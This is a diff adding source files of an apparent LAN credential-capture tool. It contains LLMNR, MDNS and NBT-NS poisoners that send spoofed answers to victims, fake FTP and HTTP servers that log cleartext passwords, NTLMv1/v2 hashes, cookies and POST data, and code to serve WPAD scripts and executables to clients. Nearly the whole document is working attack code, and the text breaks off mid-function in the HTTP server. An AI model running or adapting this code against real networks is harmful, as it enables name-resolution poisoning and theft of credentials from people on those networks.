CalculateAvPairsOffset = CalculateNameOffset+str(self.fields["TargetNameStr"])
|
||||
|
||||
CalculateAvPairsLen = str(self.fields["Av1"])+str(self.fields["Av1Len"])+str(self.fields["Av1Str"])+str(self.fields["Av2"])+str(self.fields["Av2Len"])+str(self.fields["Av2Str"])+str(self.fields["Av3"])+str(self.fields["Av3Len"])+str(self.fields["Av3Str"])+str(self.fields["Av4"])+str(self.fields["Av4Len"])+str(self.fields["Av4Str"])+str(self.fields["Av5"])+str(self.fields["Av5Len"])+str(self.fields["Av5Str"])+str(self.fields["Av6"])+str(self.fields["Av6Len"])
|
||||
|
||||
self.fields["Len"] = struct.pack(">h",len(CalculateCompletePacket))
|
||||
self.fields["SSPIBuffLen"] = struct.pack("<i",len(CalculateSSPI))[:2]
|
||||
# Target Name Offsets
|
||||
self.fields["TargetNameOffset"] = struct.pack("<i", len(CalculateNameOffset))
|
||||
self.fields["TargetNameLen"] = struct.pack("<i", len(self.fields["TargetNameStr"]))[:2]
|
||||
self.fields["TargetNameMaxLen"] = struct.pack("<i", len(self.fields["TargetNameStr"]))[:2]
|
||||
#AvPairs Offsets
|
||||
self.fields["TargetInfoOffset"] = struct.pack("<i", len(CalculateAvPairsOffset))
|
||||
self.fields["TargetInfoLen"] = struct.pack("<i", len(CalculateAvPairsLen))[:2]
|
||||
self.fields["TargetInfoMaxLen"] = struct.pack("<i", len(CalculateAvPairsLen))[:2]
|
||||
#AvPairs StrLen
|
||||
self.fields["Av1Len"] = struct.pack("<i", len(str(self.fields["Av1Str"])))[:2]
|
||||
self.fields["Av2Len"] = struct.pack("<i", len(str(self.fields["Av2Str"])))[:2]
|
||||
self.fields["Av3Len"] = struct.pack("<i", len(str(self.fields["Av3Str"])))[:2]
|
||||
self.fields["Av4Len"] = struct.pack("<i", len(str(self.fields["Av4Str"])))[:2]
|
||||
self.fields["Av5Len"] = struct.pack("<i", len(str(self.fields["Av5Str"])))[:2]
|
||||
#AvPairs 6 len is always 00.
|
1281
packets.py
Normal file
1281
packets.py
Normal file
File diff suppressed because it is too large
Load diff
144
poisoners/LLMNR.py
Normal file
144
poisoners/LLMNR.py
Normal file
|
@ -0,0 +1,144 @@
|
|||
import socket
|
||||
import struct
|
||||
import settings
|
||||
import fingerprint
|
||||
|
||||
from packets import LLMNR_Ans
|
||||
from odict import OrderedDict
|
||||
from SocketServer import BaseRequestHandler
|
||||
from utils import *
|
||||
|
||||
def Parse_LLMNR_Name(data):
|
||||
NameLen = struct.unpack('>B',data[12])[0]
|
||||
Name = data[13:13+NameLen]
|
||||
return Name
|
||||
|
||||
def IsOnTheSameSubnet(ip, net):
|
||||
net = net+'/24'
|
||||
ipaddr = int(''.join([ '%02x' % int(x) for x in ip.split('.') ]), 16)
|
||||
netstr, bits = net.split('/')
|
||||
netaddr = int(''.join([ '%02x' % int(x) for x in netstr.split('.') ]), 16)
|
||||
mask = (0xffffffff << (32 - int(bits))) & 0xffffffff
|
||||
return (ipaddr & mask) == (netaddr & mask)
|
||||
|
||||
def IsICMPRedirectPlausible(IP):
|
||||
dnsip = []
|
||||
for line in file('/etc/resolv.conf', 'r'):
|
||||
ip = line.split()
|
||||
if len(ip) < 2:
|
||||
continue
|
||||
if ip[0] == 'nameserver':
|
||||
dnsip.extend(ip[1:])
|
||||
for x in dnsip:
|
||||
if x !="127.0.0.1" and IsOnTheSameSubnet(x,IP) == False:
|
||||
print color("[Analyze mode: ICMP] You can ICMP Redirect on this network.", 5, 0)
|
||||
print color("[Analyze mode: ICMP] This workstation (%s) is not on the same subnet than the DNS server (%s)." % (IP, x), 5, 0)
|
||||
print color("[Analyze mode: ICMP] Use python Icmp-Redirect.py for more details.", 5, 0)
|
||||
else:
|
||||
pass
|
||||
|
||||
def AnalyzeICMPRedirect():
|
||||
if settings.Config.Responder_IP is not None and settings.Config.Interface == 'Not set':
|
||||
IsICMPRedirectPlausible(settings.Config.Responder_IP)
|
||||
|
||||
if settings.Config.Interface != 'Not set':
|
||||
IsICMPRedirectPlausible(FindLocalIP(settings.Config.Interface))
|
||||
|
||||
if settings.Config.AnalyzeMode:
|
||||
AnalyzeICMPRedirect()
|
||||
|
||||
# LLMNR Server class
|
||||
class LLMNR(BaseRequestHandler):
|
||||
|
||||
def handle(self):
|
||||
data, soc = self.request
|
||||
Name = Parse_LLMNR_Name(data)
|
||||
|
||||
# Break out if we don't want to respond to this host
|
||||
if RespondToThisHost(self.client_address[0], Name) is not True:
|
||||
return None
|
||||
|
||||
if data[2:4] == "\x00\x00" and Parse_IPV6_Addr(data):
|
||||
|
||||
if settings.Config.Finger_On_Off:
|
||||
Finger = fingerprint.RunSmbFinger((self.client_address[0], 445))
|
||||
else:
|
||||
Finger = None
|
||||
|
||||
# Analyze Mode
|
||||
if settings.Config.AnalyzeMode:
|
||||
Filename = settings.Config.AnalyzeFilename
|
||||
LineHeader = "[Analyze mode: LLMNR]"
|
||||
print color("%s Request by %s for %s, ignoring" % (LineHeader, self.client_address[0], Name), 2, 1)
|
||||
|
||||
# Poisoning Mode
|
||||
else:
|
||||
Buffer = LLMNR_Ans(Tid=data[0:2], QuestionName=Name, AnswerName=Name)
|
||||
Buffer.calculate()
|
||||
soc.sendto(str(Buffer), self.client_address)
|
||||
|
||||
Filename = settings.Config.Log2Filename
|
||||
LineHeader = "[LLMNR]"
|
||||
|
||||
print color("%s Poisoned answer sent to %s for name %s" % (LineHeader, self.client_address[0], Name), 2, 1)
|
||||
|
||||
if Finger is not None:
|
||||
print text("%s [FINGER] OS Version : %s" % (LineHeader, color(Finger[0], 3, 0)))
|
||||
print text("%s [FINGER] Client Version : %s" % (LineHeader, color(Finger[1], 3, 0)))
|
||||
|
||||
|
||||
"""
|
||||
# LLMNR Server class.
|
||||
class LLMNR(BaseRequestHandler):
|
||||
|
||||
def handle(self):
|
||||
data, soc = self.request
|
||||
try:
|
||||
if data[2:4] == "\x00\x00":
|
||||
if Parse_IPV6_Addr(data):
|
||||
Name = Parse_LLMNR_Name(data)
|
||||
|
||||
if settings.Config.AnalyzeMode and settings.Config.Finger_On_Off:
|
||||
|
||||
Message = "[Analyze mode: LLMNR] Host: %-15s Request: %s." % (color(self.client_address[0], 3, 0), color(Name, 3, 0))
|
||||
|
||||
if PrintLLMNRNBTNS(settings.Config.AnalyzeFilename, Message):
|
||||
print text(Message)
|
||||
|
||||
try:
|
||||
Finger = fingerprint.RunSmbFinger((self.client_address[0], 445))
|
||||
print text("[Analyze mode: FINGER] OS: %s, Client: %s" % (color(Finger[0], 3, 0), color(Finger[1], 3, 0)))
|
||||
|
||||
except Exception:
|
||||
print text("[Analyze mode: FINGER] Fingerprint failed for host %s." % color(Name, 3, 0))
|
||||
|
||||
|
||||
|
||||
if settings.Config.AnalyzeMode == False:
|
||||
|
||||
|
||||
|
||||
buff = LLMNR_Ans(Tid=data[0:2], QuestionName=Name, AnswerName=Name)
|
||||
buff.calculate()
|
||||
soc.sendto(str(buff), self.client_address)
|
||||
|
||||
Message = "[LLMNR] Poisoned answer sent to host: %-15s Request: %s." % (color(self.client_address[0], 3, 0), color(Name, 3, 0))
|
||||
|
||||
if PrintLLMNRNBTNS(settings.Config.Log2Filename, Message):
|
||||
print text(Message)
|
||||
|
||||
if settings.Config.Finger_On_Off:
|
||||
try:
|
||||
Finger = fingerprint.RunSmbFinger((self.client_address[0], 445))
|
||||
print text('[FINGER] OS: %s, Client: %s' % (color(Finger[0], 3, 0), color(Finger[1], 3, 0)))
|
||||
|
||||
except Exception:
|
||||
print text('[FINGER] Fingerprint failed for host: %s' % color(Name, 3, 0))
|
||||
pass
|
||||
|
||||
|
||||
else:
|
||||
pass
|
||||
except:
|
||||
raise
|
||||
"""
|
54
poisoners/MDNS.py
Normal file
54
poisoners/MDNS.py
Normal file
|
@ -0,0 +1,54 @@
|
|||
import struct
|
||||
import settings
|
||||
import socket
|
||||
|
||||
from SocketServer import BaseRequestHandler
|
||||
from packets import MDNS_Ans
|
||||
from utils import *
|
||||
|
||||
def Parse_MDNS_Name(data):
|
||||
data = data[12:]
|
||||
NameLen = struct.unpack('>B',data[0])[0]
|
||||
Name = data[1:1+NameLen]
|
||||
NameLen_ = struct.unpack('>B',data[1+NameLen])[0]
|
||||
Name_ = data[1+NameLen:1+NameLen+NameLen_+1]
|
||||
return Name+'.'+Name_
|
||||
|
||||
def Poisoned_MDNS_Name(data):
|
||||
data = data[12:]
|
||||
Name = data[:len(data)-5]
|
||||
return Name
|
||||
|
||||
class MDNS(BaseRequestHandler):
|
||||
|
||||
def handle(self):
|
||||
|
||||
MADDR = "224.0.0.251"
|
||||
MPORT = 5353
|
||||
|
||||
data, soc = self.request
|
||||
Request_Name = Parse_MDNS_Name(data)
|
||||
|
||||
# Break out if we don't want to respond to this host
|
||||
if RespondToThisHost(self.client_address[0], Request_Name) is not True:
|
||||
return None
|
||||
|
||||
try:
|
||||
# Analyze
|
||||
if settings.Config.AnalyzeMode:
|
||||
if Parse_IPV6_Addr(data):
|
||||
print text('[Analyze mode: MDNS] Request by %-15s for %s, ignoring' % (color(self.client_address[0], 3, 0), color(Request_Name, 3, 0)))
|
||||
|
||||
else:
|
||||
# Send poisoned packet
|
||||
if Parse_IPV6_Addr(data):
|
||||
|
||||
Poisoned_Name = Poisoned_MDNS_Name(data)
|
||||
Buffer = MDNS_Ans(AnswerName = Poisoned_Name, IP=socket.inet_aton(settings.Config.Responder_IP))
|
||||
Buffer.calculate()
|
||||
soc.sendto(str(Buffer), (MADDR, MPORT))
|
||||
|
||||
print color('[MDNS] Poisoned answer sent to %-15s for name %s' % (self.client_address[0], Request_Name), 2, 1)
|
||||
|
||||
except Exception:
|
||||
raise
|
96
poisoners/NBTNS.py
Normal file
96
poisoners/NBTNS.py
Normal file
|
@ -0,0 +1,96 @@
|
|||
import socket
|
||||
import settings
|
||||
import string
|
||||
import fingerprint
|
||||
|
||||
from packets import NBT_Ans
|
||||
from SocketServer import BaseRequestHandler
|
||||
from utils import *
|
||||
|
||||
def NBT_NS_Role(data):
|
||||
Role = {
|
||||
"\x41\x41\x00":"Workstation/Redirector Service.",
|
||||
"\x42\x4c\x00":"Domain Master Browser. This name is likely a domain controller or a homegroup.)",
|
||||
"\x42\x4d\x00":"Domain controller service. This name is a domain controller.",
|
||||
"\x42\x4e\x00":"Local Master Browser.",
|
||||
"\x42\x4f\x00":"Browser Election Service.",
|
||||
"\x43\x41\x00":"File Server Service.",
|
||||
"\x41\x42\x00":"Browser Service.",
|
||||
}
|
||||
|
||||
if data in Role:
|
||||
return Role[data]
|
||||
else:
|
||||
return "Service not known."
|
||||
|
||||
# Define what are we answering to.
|
||||
def Validate_NBT_NS(data):
|
||||
if settings.Config.AnalyzeMode:
|
||||
return False
|
||||
|
||||
if NBT_NS_Role(data[43:46]) == "File Server Service.":
|
||||
return True
|
||||
|
||||
if settings.Config.NBTNSDomain == True:
|
||||
if NBT_NS_Role(data[43:46]) == "Domain controller service. This name is a domain controller.":
|
||||
return True
|
||||
|
||||
if settings.Config.Wredirect == True:
|
||||
if NBT_NS_Role(data[43:46]) == "Workstation/Redirector Service.":
|
||||
return True
|
||||
|
||||
else:
|
||||
return False
|
||||
|
||||
def Decode_Name(nbname):
|
||||
#From http://code.google.com/p/dpkt/ with author's permission.
|
||||
try:
|
||||
if len(nbname) != 32:
|
||||
return nbname
|
||||
l = []
|
||||
for i in range(0, 32, 2):
|
||||
l.append(chr(((ord(nbname[i]) - 0x41) << 4) |
|
||||
((ord(nbname[i+1]) - 0x41) & 0xf)))
|
||||
return filter(lambda x: x in string.printable, ''.join(l).split('\x00', 1)[0].replace(' ', ''))
|
||||
except:
|
||||
return "Illegal NetBIOS name"
|
||||
|
||||
# NBT_NS Server class.
|
||||
class NBTNS(BaseRequestHandler):
|
||||
|
||||
def handle(self):
|
||||
|
||||
data, socket = self.request
|
||||
Name = Decode_Name(data[13:45])
|
||||
|
||||
# Break out if we don't want to respond to this host
|
||||
if RespondToThisHost(self.client_address[0], Name) is not True:
|
||||
return None
|
||||
|
||||
if data[2:4] == "\x01\x10":
|
||||
|
||||
if settings.Config.Finger_On_Off:
|
||||
Finger = fingerprint.RunSmbFinger((self.client_address[0],445))
|
||||
else:
|
||||
Finger = None
|
||||
|
||||
# Analyze Mode
|
||||
if settings.Config.AnalyzeMode:
|
||||
Filename = settings.Config.AnalyzeFilename
|
||||
LineHeader = "[Analyze mode: NBT-NS]"
|
||||
print color("%s Request by %s for %s, ignoring" % (LineHeader, self.client_address[0], Name), 2, 1)
|
||||
|
||||
# Poisoning Mode
|
||||
else:
|
||||
Buffer = NBT_Ans()
|
||||
Buffer.calculate(data)
|
||||
socket.sendto(str(Buffer), self.client_address)
|
||||
|
||||
Filename = settings.Config.Log2Filename
|
||||
LineHeader = "[NBT-NS]"
|
||||
|
||||
print color("%s Poisoned answer sent to %s for name %s (service: %s)" % (LineHeader, self.client_address[0], Name, NBT_NS_Role(data[43:46])), 2, 1)
|
||||
|
||||
if Finger is not None:
|
||||
print text("%s [FINGER] OS Version : %s" % (LineHeader, color(Finger[0], 3, 0)))
|
||||
print text("%s [FINGER] Client Version : %s" % (LineHeader, color(Finger[1], 3, 0)))
|
0
poisoners/__init__.py
Normal file
0
poisoners/__init__.py
Normal file
203
servers/Browser.py
Normal file
203
servers/Browser.py
Normal file
|
@ -0,0 +1,203 @@
|
|||
import socket
|
||||
import struct
|
||||
import settings
|
||||
|
||||
from packets import SMBHeader, SMBNegoData, SMBSessionData, SMBTreeConnectData, RAPNetServerEnum3Data, SMBTransRAPData
|
||||
from SocketServer import BaseRequestHandler
|
||||
from utils import *
|
||||
|
||||
def WorkstationFingerPrint(data):
|
||||
Role = {
|
||||
"\x04\x00" :"Windows 95",
|
||||
"\x04\x10" :"Windows 98",
|
||||
"\x04\x90" :"Windows ME",
|
||||
"\x05\x00" :"Windows 2000",
|
||||
"\x05\x00" :"Windows XP",
|
||||
"\x05\x02" :"Windows 2003",
|
||||
"\x06\x00" :"Windows Vista/Server 2008",
|
||||
"\x06\x01" :"Windows 7/Server 2008R2",
|
||||
}
|
||||
|
||||
return Role[data] if data in Role else False
|
||||
|
||||
def RequestType(data):
|
||||
Type = {
|
||||
"\x01": 'Host Announcement',
|
||||
"\x02": 'Request Announcement',
|
||||
"\x08": 'Browser Election',
|
||||
"\x09": 'Get Backup List Request',
|
||||
"\x0a": 'Get Backup List Response',
|
||||
"\x0b": 'Become Backup Browser',
|
||||
"\x0c": 'Domain/Workgroup Announcement',
|
||||
"\x0d": 'Master Announcement',
|
||||
"\x0e": 'Reset Browser State Announcement',
|
||||
"\x0f": 'Local Master Announcement',
|
||||
}
|
||||
|
||||
return Type[data] if data in Type else False
|
||||
|
||||
def PrintServerName(data, entries):
|
||||
if entries == 0:
|
||||
pass
|
||||
|
||||
else:
|
||||
entrieslen = 26*entries
|
||||
chunks, chunk_size = len(data[:entrieslen]), entrieslen/entries
|
||||
ServerName = [data[i:i+chunk_size] for i in range(0, chunks, chunk_size) ]
|
||||
l = []
|
||||
for x in ServerName:
|
||||
if WorkstationFingerPrint(x[16:18]):
|
||||
l.append(x[:16].replace('\x00', '') + '\n [-] Os version is: %s'%(WorkstationFingerPrint(x[16:18])))
|
||||
else:
|
||||
l.append(x[:16].replace('\x00', ''))
|
||||
|
||||
return l
|
||||
|
||||
def ParsePacket(Payload):
|
||||
PayloadOffset = struct.unpack('<H',Payload[51:53])[0]
|
||||
StatusCode = Payload[PayloadOffset-4:PayloadOffset-2]
|
||||
|
||||
if StatusCode == "\x00\x00":
|
||||
EntriesNum = struct.unpack('<H',Payload[PayloadOffset:PayloadOffset+2])[0]
|
||||
ParsedNames = PrintServerName(Payload[PayloadOffset+4:], EntriesNum)
|
||||
return ParsedNames
|
||||
|
||||
else:
|
||||
return None
|
||||
|
||||
def RAPThisDomain(Client,Domain):
|
||||
try:
|
||||
l = []
|
||||
for x in range(1):
|
||||
PDC = RapFinger(Client,Domain,"\x00\x00\x00\x80")
|
||||
if PDC is not None:
|
||||
l.append('[Analyze mode LANMAN] ')
|
||||
l.append('[*] Domain detected on this network:')
|
||||
for x in PDC:
|
||||
l.append(' - '+x)
|
||||
SQL = RapFinger(Client,Domain,"\x04\x00\x00\x00")
|
||||
if SQL is not None:
|
||||
l.append('[*] SQL Server detected on Domain %s:'%(Domain))
|
||||
for x in SQL:
|
||||
l.append(' - '+x)
|
||||
WKST = RapFinger(Client,Domain,"\xff\xff\xff\xff")
|
||||
|
||||
if WKST is not None:
|
||||
l.append('[*] Workstations/Servers detected on Domain %s:'%(Domain))
|
||||
for x in WKST:
|
||||
l.append(' - '+x)
|
||||
else:
|
||||
pass
|
||||
return text('\n'.join(l))
|
||||
except:
|
||||
pass
|
||||
|
||||
def RapFinger(Host, Domain, Type):
|
||||
try:
|
||||
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
|
||||
s.connect((Host,445))
|
||||
s.settimeout(0.3)
|
||||
|
||||
Header = SMBHeader(cmd="\x72",mid="\x01\x00")
|
||||
Body = SMBNegoData()
|
||||
Body.calculate()
|
||||
|
||||
Packet = str(Header)+str(Body)
|
||||
Buffer = struct.pack(">i", len(''.join(Packet))) + Packet
|
||||
|
||||
s.send(Buffer)
|
||||
data = s.recv(1024)
|
||||
|
||||
# Session Setup AndX Request, Anonymous.
|
||||
if data[8:10] == "\x72\x00":
|
||||
Header = SMBHeader(cmd="\x73",mid="\x02\x00")
|
||||
Body = SMBSessionData()
|
||||
Body.calculate()
|
||||
|
||||
Packet = str(Header)+str(Body)
|
||||
Buffer = struct.pack(">i", len(''.join(Packet))) + Packet
|
||||
|
||||
s.send(Buffer)
|
||||
data = s.recv(1024)
|
||||
|
||||
# Tree Connect IPC$.
|
||||
if data[8:10] == "\x73\x00":
|
||||
Header = SMBHeader(cmd="\x75",flag1="\x08", flag2="\x01\x00",uid=data[32:34],mid="\x03\x00")
|
||||
Body = SMBTreeConnectData(Path="\\\\"+Host+"\\IPC$")
|
||||
Body.calculate()
|
||||
|
||||
Packet = str(Header)+str(Body)
|
||||
Buffer = struct.pack(">i", len(''.join(Packet))) + Packet
|
||||
|
||||
s.send(Buffer)
|
||||
data = s.recv(1024)
|
||||
|
||||
# Rap ServerEnum.
|
||||
if data[8:10] == "\x75\x00":
|
||||
Header = SMBHeader(cmd="\x25",flag1="\x08", flag2="\x01\xc8",uid=data[32:34],tid=data[28:30],pid=data[30:32],mid="\x04\x00")
|
||||
Body = SMBTransRAPData(Data=RAPNetServerEnum3Data(ServerType=Type,DetailLevel="\x01\x00",TargetDomain=Domain))
|
||||
Body.calculate()
|
||||
|
||||
Packet = str(Header)+str(Body)
|
||||
Buffer = struct.pack(">i", len(''.join(Packet))) + Packet
|
||||
|
||||
s.send(Buffer)
|
||||
data = s.recv(64736)
|
||||
|
||||
# Rap ServerEnum, Get answer and return what we're looking for.
|
||||
if data[8:10] == "\x25\x00":
|
||||
s.close()
|
||||
return ParsePacket(data)
|
||||
except:
|
||||
return None
|
||||
|
||||
def BecomeBackup(data,Client):
|
||||
try:
|
||||
DataOffset = struct.unpack('<H',data[139:141])[0]
|
||||
BrowserPacket = data[82+DataOffset:]
|
||||
ReqType = RequestType(BrowserPacket[0])
|
||||
|
||||
if ReqType == "Become Backup Browser":
|
||||
ServerName = BrowserPacket[1:]
|
||||
Domain = Decode_Name(data[49:81])
|
||||
Name = Decode_Name(data[15:47])
|
||||
Role = NBT_NS_Role(data[45:48])
|
||||
|
||||
if settings.Config.AnalyzeMode:
|
||||
print text("[Analyze mode: Browser] Datagram Request from IP: %s hostname: %s via the: %s wants to become a Local Master Browser Backup on this domain: %s."%(Client, Name,Role,Domain))
|
||||
print RAPThisDomain(Client, Domain)
|
||||
|
||||
except:
|
||||
pass
|
||||
|
||||
def ParseDatagramNBTNames(data,Client):
|
||||
try:
|
||||
Domain = Decode_Name(data[49:81])
|
||||
Name = Decode_Name(data[15:47])
|
||||
Role1 = NBT_NS_Role(data[45:48])
|
||||
Role2 = NBT_NS_Role(data[79:82])
|
||||
|
||||
|
||||
if Role2 == "Domain controller service. This name is a domain controller." or Role2 == "Browser Election Service." or Role2 == "Local Master Browser.":
|
||||
if settings.Config.AnalyzeMode:
|
||||
print text('[Analyze mode: Browser] Datagram Request from IP: %s hostname: %s via the: %s to: %s. Service: %s'%(Client, Name, Role1, Domain, Role2))
|
||||
print RAPThisDomain(Client, Domain)
|
||||
except:
|
||||
pass
|
||||
|
||||
class Browser(BaseRequestHandler):
|
||||
|
||||
def handle(self):
|
||||
try:
|
||||
request, socket = self.request
|
||||
|
||||
#print hexdump(request)
|
||||
|
||||
if settings.Config.AnalyzeMode:
|
||||
ParseDatagramNBTNames(request,self.client_address[0])
|
||||
BecomeBackup(request,self.client_address[0])
|
||||
|
||||
BecomeBackup(request,self.client_address[0])
|
||||
|
||||
except Exception:
|
||||
pass
|
57
servers/DNS.py
Normal file
57
servers/DNS.py
Normal file
|
@ -0,0 +1,57 @@
|
|||
import re
|
||||
|
||||
from packets import DNS_Ans
|
||||
from SocketServer import BaseRequestHandler
|
||||
from utils import *
|
||||
|
||||
def ParseDNSType(data):
|
||||
QueryTypeClass = data[len(data)-4:]
|
||||
|
||||
# If Type A, Class IN, then answer.
|
||||
return True if QueryTypeClass == "\x00\x01\x00\x01" else False
|
||||
|
||||
# DNS Server class
|
||||
class DNS(BaseRequestHandler):
|
||||
|
||||
def handle(self):
|
||||
|
||||
# Break out if we don't want to respond to this host
|
||||
if RespondToThisIP(self.client_address[0]) is not True:
|
||||
return None
|
||||
|
||||
try:
|
||||
data, soc = self.request
|
||||
|
||||
if ParseDNSType(data) and settings.Config.AnalyzeMode == False:
|
||||
buff = DNS_Ans()
|
||||
buff.calculate(data)
|
||||
soc.sendto(str(buff), self.client_address)
|
||||
|
||||
ResolveName = re.sub('[^0-9a-zA-Z]+', '.', buff.fields["QuestionName"])
|
||||
print color("[*] [DNS] Poisoned answer sent to: %-15s Requested name: %s" % (self.client_address[0], ResolveName), 2, 1)
|
||||
|
||||
except Exception:
|
||||
pass
|
||||
|
||||
# DNS Server TCP Class
|
||||
class DNSTCP(BaseRequestHandler):
|
||||
|
||||
def handle(self):
|
||||
|
||||
# Break out if we don't want to respond to this host
|
||||
if RespondToThisIP(self.client_address[0]) is not True:
|
||||
return None
|
||||
|
||||
try:
|
||||
data = self.request.recv(1024)
|
||||
|
||||
if ParseDNSType(data) and settings.Config.AnalyzeMode == False:
|
||||
buff = DNS_Ans()
|
||||
buff.calculate(data)
|
||||
self.request.send(str(buff))
|
||||
|
||||
ResolveName = re.sub('[^0-9a-zA-Z]+', '.', buff.fields["QuestionName"])
|
||||
print color("[*] [DNS-TCP] Poisoned answer sent to: %-15s Requested name: %s" % (self.client_address[0], ResolveName), 2, 1)
|
||||
|
||||
except Exception:
|
||||
pass
|
42
servers/FTP.py
Normal file
42
servers/FTP.py
Normal file
|
@ -0,0 +1,42 @@
|
|||
import os
|
||||
import settings
|
||||
|
||||
from SocketServer import BaseRequestHandler
|
||||
from packets import FTPPacket
|
||||
from utils import *
|
||||
|
||||
class FTP(BaseRequestHandler):
|
||||
|
||||
def handle(self):
|
||||
Outfile = os.path.join(settings.Config.ResponderPATH, 'logs', "FTP-Clear-Text-Password-%s.txt" % self.client_address[0])
|
||||
|
||||
try:
|
||||
self.request.send(str(FTPPacket()))
|
||||
data = self.request.recv(1024)
|
||||
|
||||
if data[0:4] == "USER":
|
||||
User = data[5:].replace("\r\n","")
|
||||
print text("[FTP] Username : ", color(User, 3, 0))
|
||||
|
||||
Packet = FTPPacket(Code="331",Message="User name okay, need password.")
|
||||
self.request.send(str(Packet))
|
||||
data = self.request.recv(1024)
|
||||
|
||||
if data[0:4] == "PASS":
|
||||
Pass = data[5:].replace("\r\n","")
|
||||
|
||||
print text("[FTP] Password : ", color(Pass, 3, 0))
|
||||
|
||||
Packet = FTPPacket(Code="530",Message="User not logged in.")
|
||||
self.request.send(str(Packet))
|
||||
data = self.request.recv(1024)
|
||||
|
||||
WriteData(Outfile,User+":"+Pass, User+":"+Pass)
|
||||
|
||||
else :
|
||||
Packet = FTPPacket(Code="502",Message="Command not implemented.")
|
||||
self.request.send(str(Packet))
|
||||
data = self.request.recv(1024)
|
||||
|
||||
except Exception:
|
||||
pass
|
258
servers/HTTP.py
Normal file
258
servers/HTTP.py
Normal file
|
@ -0,0 +1,258 @@
|
|||
import os
|
||||
import struct
|
||||
import settings
|
||||
|
||||
from SocketServer import BaseServer, BaseRequestHandler, StreamRequestHandler, ThreadingMixIn, TCPServer
|
||||
from base64 import b64decode, b64encode
|
||||
from utils import *
|
||||
|
||||
from packets import NTLM_Challenge
|
||||
from packets import IIS_Auth_401_Ans, IIS_Auth_Granted, IIS_NTLM_Challenge_Ans, IIS_Basic_401_Ans
|
||||
from packets import WPADScript, ServerExeFile, ServeAlwaysExeFile, ServeAlwaysNormalFile
|
||||
|
||||
|
||||
# Parse NTLMv1/v2 hash.
|
||||
def ParseHTTPHash(data,client):
|
||||
LMhashLen = struct.unpack('<H',data[12:14])[0]
|
||||
LMhashOffset = struct.unpack('<H',data[16:18])[0]
|
||||
LMHash = data[LMhashOffset:LMhashOffset+LMhashLen].encode("hex").upper()
|
||||
|
||||
NthashLen = struct.unpack('<H',data[20:22])[0]
|
||||
NthashOffset = struct.unpack('<H',data[24:26])[0]
|
||||
NTHash = data[NthashOffset:NthashOffset+NthashLen].encode("hex").upper()
|
||||
|
||||
UserLen = struct.unpack('<H',data[36:38])[0]
|
||||
UserOffset = struct.unpack('<H',data[40:42])[0]
|
||||
User = data[UserOffset:UserOffset+UserLen].replace('\x00','')
|
||||
|
||||
if NthashLen == 24:
|
||||
HostNameLen = struct.unpack('<H',data[46:48])[0]
|
||||
HostNameOffset = struct.unpack('<H',data[48:50])[0]
|
||||
HostName = data[HostNameOffset:HostNameOffset+HostNameLen].replace('\x00','')
|
||||
outfile = os.path.join(settings.Config.ResponderPATH, 'logs', "HTTP-NTLMv1-Client-%s.txt" % client)
|
||||
|
||||
if PrintData(outfile, User+"::"+HostName):
|
||||
print text("[HTTP] NTLMv1 Client : %s" % client)
|
||||
print text("[HTTP] NTLMv1 Hostname : %s" % HostName)
|
||||
print text("[HTTP] NTLMv1 User : %s" % User)
|
||||
print text("[HTTP] NTLMv1 Hash : %s" % LMHash+":"+NTHash)
|
||||
|
||||
WriteHash = '%s::%s:%s:%s:%s' % (User, HostName, LMHash, NTHash, settings.Config.NumChal)
|
||||
WriteData(outfile, WriteHash, User+"::"+HostName)
|
||||
|
||||
if NthashLen > 24:
|
||||
NthashLen = 64
|
||||
DomainLen = struct.unpack('<H',data[28:30])[0]
|
||||
DomainOffset = struct.unpack('<H',data[32:34])[0]
|
||||
Domain = data[DomainOffset:DomainOffset+DomainLen].replace('\x00','')
|
||||
HostNameLen = struct.unpack('<H',data[44:46])[0]
|
||||
HostNameOffset = struct.unpack('<H',data[48:50])[0]
|
||||
HostName = data[HostNameOffset:HostNameOffset+HostNameLen].replace('\x00','')
|
||||
outfile = os.path.join(settings.Config.ResponderPATH, 'logs', "HTTP-NTLMv2-Client-%s.txt" % client)
|
||||
|
||||
if PrintData(outfile,User+"::"+Domain):
|
||||
print text("[HTTP] NTLMv2 Client : %s" % client)
|
||||
print text("[HTTP] NTLMv2 Hostname : %s" % HostName)
|
||||
print text("[HTTP] NTLMv2 User : %s" % Domain+"\\"+User)
|
||||
print text("[HTTP] NTLMv2 Hash : %s" % NTHash[:32]+":"+NTHash[32:])
|
||||
|
||||
WriteHash = '%s::%s:%s:%s:%s' % (User, Domain, settings.Config.NumChal, NTHash[:32], NTHash[32:])
|
||||
WriteData(outfile,WriteHash, User+"::"+Domain)
|
||||
|
||||
def GrabCookie(data,host):
|
||||
Cookie = re.search('(Cookie:*.\=*)[^\r\n]*', data)
|
||||
|
||||
if Cookie:
|
||||
Cookie = Cookie.group(0).replace('Cookie: ', '')
|
||||
print text("[HTTP] Cookie : %s " % Cookie)
|
||||
return Cookie
|
||||
else:
|
||||
return False
|
||||
|
||||
def GrabHost(data,host):
|
||||
Host = re.search('(Host:*.\=*)[^\r\n]*', data)
|
||||
|
||||
if Host:
|
||||
Host = Host.group(0).replace('Host: ', '')
|
||||
print text("[HTTP] Host : %s " % Host)
|
||||
return Host
|
||||
else:
|
||||
return False
|
||||
|
||||
def WpadCustom(data, client):
|
||||
Wpad = re.search('(/wpad.dat|/*\.pac)', data)
|
||||
if Wpad:
|
||||
Buffer = WPADScript(Payload=settings.Config.WPAD_Script)
|
||||
Buffer.calculate()
|
||||
return str(Buffer)
|
||||
else:
|
||||
return False
|
||||
|
||||
def ServeEXE(data, client, Filename):
|
||||
print text("[HTTP] Sent file %s to %s" % (Filename, client))
|
||||
with open (Filename, "rb") as bk:
|
||||
data = bk.read()
|
||||
bk.close()
|
||||
return data
|
||||
|
||||
def GrabURL(data, host):
|
||||
GET = re.findall('(?<=GET )[^HTTP]*', data)
|
||||
POST = re.findall('(?<=POST )[^HTTP]*', data)
|
||||
POSTDATA = re.findall('(?<=\r\n\r\n)[^*]*', data)
|
||||
|
||||
if GET:
|
||||
print text("[HTTP] GET request from: %-15s URL: %s" % (host, ''.join(GET)))
|
||||
|
||||
if POST:
|
||||
print text("[HTTP] POST request from: %-15s URL: %s" % (host, ''.join(POST)))
|
||||
if len(''.join(POSTDATA)) > 2:
|
||||
print text("[HTTP] POST Data: %s" % ''.join(POSTDATA).strip())
|
||||
|
||||
# Handle HTTP packet sequence.
|
||||
def PacketSequence(data,client):
|
||||
NTLM_Auth = re.findall('(?<=Authorization: NTLM )[^\\r]*', data)
|
||||
Basic_Auth = re.findall('(?<=Authorization: Basic )[^\\r]*', data)
|
||||
